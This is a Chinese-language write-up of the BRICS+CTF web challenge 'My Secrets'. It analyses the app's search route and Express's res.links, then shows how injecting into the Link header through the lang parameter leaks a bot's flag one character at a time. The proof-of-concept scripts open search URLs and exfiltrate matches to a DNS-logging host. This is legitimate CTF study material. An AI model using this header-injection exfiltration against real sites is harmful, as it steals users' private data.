BRICS+CTF My Secrets WP

127

由于笔者最近对前端安全略感兴趣,+此题确实颇有意思,+比赛时没做出来,故记录一次复现的wp

拿到代码首先全局搜索flag在哪,发现flag在mongodb的数据库中

截屏2023-09-25 20.42.27

与此同时,你通过简单的代码审计,发现只有bot.js中定义的bot可以拿到该数据(因为/search接口是根据userId去查的)

// Search posts by title
router.get('/search', isAuthenticated, async (req, res) => {
    const { searchTerm } = req.query;

    try {
        const user = req.session.user;
        const posts = await Post.find({ title: { $regex: new RegExp(searchTerm, 'i') }, user: user._id }).
                            maxTimeMS(1000).
                            orFail();
        res.render('searchResults', { posts, user,language: req.session.lang });
    } catch (error) {
        // For debug only
        res._headers={'Timing-Allow-Origin':'https://google.com'}
        res.render('error', { message: 'Error searching for notes',language: req.session.lang });
    }
});

/report接口是指定一个url,让bot去访问,当然,它不存在回显

router.post('/',limiter, (req, res) => {
    const reportedLink = req.body.link;
    visit(req.body.link);// visit是爬虫函数
    res.send('Link reported successfully!');
});

那么思路就是,让bot去访问search接口,并想办法把返回的数据带出来

如果你只是简单的写一个js去访问search接口再访问你的vps,显然会遇到CORS的问题

截屏2023-09-25 20.52.24

比赛时,我疯狂寻找相关的bypass姿势,当然,没有想出来。

接下来面对poc分析,poc如下:

<script>
    var now_flag = "{"
    var alph = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-"
    for(var i = 0;i < alph.length;i++){
        window.open("https://mysecrets-8a88458a82b93f84.brics-ctf.ru/posts/search?searchTerm=" + now_flag + alph[i] + "&lang=>; rel=\"modulepreload\",<https://1ue.dnslog.pw>; rel=\"modulepreload\",</a")
    }
</script>

window.open我们都可以理解,它不受CORS的限制,可惜的是它没有回显

那poc是怎么做到回显的呢

首先我添加一条test{123231}的fake data。

截屏2023-09-25 21.06.30

然后尝试去搜索(注意:这里的{1可以搜索到结果),你会发现请求头的Link中多处来了一个奇怪的url<https://1ue.dnslog.pw>

截屏2023-09-25 21.05.24

当你再尝试使用{0去搜索时,发现没有结果,同时也没有Link头

截屏2023-09-25 21.12.24

所以这有什么用?如果你此时点开bp的render,你会发现你收到一个dns请求

截屏2023-09-25 21.15.24

再去了解Link的功能,你会发现其原来的功能是为页面做多语言翻译,正常应该是请求/styles/russian.css,所以也才有了一次请求。而为什么错误的时候,返回头中没有Link,也是因为代码中对异常做了全局的处理

catch (error) {
        // For debug only
        res._headers={'Timing-Allow-Origin':'https://google.com'}
        res.render('error', { message: 'Error searching for notes',language: req.session.lang });
    }

至于为什么payload长成lang=>; rel=\"modulepreload\",<https://1ue.dnslog.pw>; rel=\"modulepreload\",</a模样,我们只需耐心的欣赏express的源码即可

res.links({preload: req.session.language?`/styles/${req.session.language}.css`:"/styles/russian.css"})
res.links = function(links){
  var link = this.get('Link') || '';
  if (link) link += ', ';
  return this.set('Link', link + Object.keys(links).map(function(rel){
    return '<' + links[rel] + '>; rel="' + rel + '"';
  }).join(', '));
};

显然,这里产生了字符逃逸

那么现在我们就可以用二分去盲注我们的flag了,不过记得要https开头,否则及时出现<http://url>也不会去访问

我这里使用的是dns回显

<script>
    var now_flag = "{1_h0p3_y0u_f0und_my_task_1nter3st1ng"
    var alph = "}!abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-"
    for(var i = 0;i < alph.length;i++){
        window.open("https://mysecrets-8a88458a82b93f84.brics-ctf.ru/posts/search?searchTerm=" + now_flag + alph[i] + "&lang=>; rel=\"modulepreload\",<https://y"+alph[i]+"y.1ue.dnslog.pw>; rel=\"modulepreload\",</a")
    }
</script>

确实是一道好玩的题目👍